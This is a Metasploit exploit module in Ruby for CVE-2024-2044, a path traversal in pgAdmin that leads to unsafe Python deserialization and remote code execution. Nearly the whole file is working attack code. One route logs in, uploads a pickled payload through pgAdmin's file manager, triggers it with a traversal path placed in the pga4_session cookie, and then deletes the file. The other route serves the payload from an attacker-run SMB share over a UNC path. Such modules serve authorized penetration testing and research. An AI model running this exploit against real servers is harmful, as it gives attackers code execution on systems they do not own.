metasploit-gs/modules/exploits/multi/http/pgadmin_session_deserialization.rb

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::PgAdmin

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pgAdmin Session Deserialization RCE',
        'Description' => %q{
          pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow
          a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python
          object to execute code within the context of the target application.

          This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials
          are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object
          using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before
          being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no
          credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a
          UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also
          requires that insecure outbound guest access be enabled.

          Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin
          underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated
          technique whereby a payload is uploaded.
        },
        'Author' => [
          'Spencer McIntyre', # metasploit module
          'Davide Silvetti', # vulnerability discovery and write up
          'Abdel Adim Oisfi' # vulnerability discovery and write up
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-2044'],
          ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'],
          ['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d']
        ],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'Payload' => {},
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 5
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']),
      OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']),
      OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
    ])
  end

  def check
    check_version('8.4')
  end

  def exploit
    if datastore['USERNAME'].present?
      exploit_upload
    else
      exploit_remote_load
    end
  end

  def exploit_remote_load
    start_service
    print_status('The SMB service has been started.')

    # Call the exploit primer
    self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
    trigger_deserialization(unc)
  end

  def exploit_upload
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'csrf_token' => csrf_token,
        'email' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'language' => 'en',
        'internal_button' => 'Login'
      }
    })

    unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
      fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
    end
    print_status('Successfully authenticated to pgAdmin')

    serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)

    file_name = Faker::File.file_name(dir: '', directory_separator: '')
    file_manager_upload(file_name, serialized_data)
    trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}")
    file_manager_delete(file_name)
  end

  def trigger_deserialization(path)
    print_status("Triggering deserialization for path: #{path}")
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login'),
      'cookie' => "pga4_session=#{path}!"
    })
  end

  def file_manager_init
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'dialog_type' => 'storage_dialog',
        'supported_types' => ['sql', 'csv', 'json', '*'],
        'dialog_title' => 'Storage Manager'
      }.to_json
    })
    unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId'))
      fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction')
    end

    trans_id
  end

  def file_manager_delete(file_path)
    trans_id = file_manager_init

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'mode' => 'delete',
        'path' => "/#{file_path}",
        'storage_folder' => 'my_storage'
      }.to_json
    })
    unless res&.code == 200 && res.get_json_document['success'] == 1
      fail_with(Failure::UnexpectedReply, 'Failed to delete file')
    end

    true
  end

  def file_manager_upload(file_path, file_contents)
    trans_id = file_manager_init

    form = Rex::MIME::Message.new
    form.add_part(
      file_contents,
      'application/octet-stream',
      'binary',
      "form-data; name=\"newfile\"; filename=\"#{file_path}\""
    )
    form.add_part('add', nil, nil, 'form-data; name="mode"')
    form.add_part('/', nil, nil, 'form-data; name="currentpath"')
    form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{form.bound}",
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => form.to_s
    })
    unless res&.code == 200 && res.get_json_document['success'] == 1
      fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
    end

    upload_path = res.get_json_document.dig('data', 'result', 'Name')
    print_status("Serialized payload uploaded to: #{upload_path}")

    true
  end
end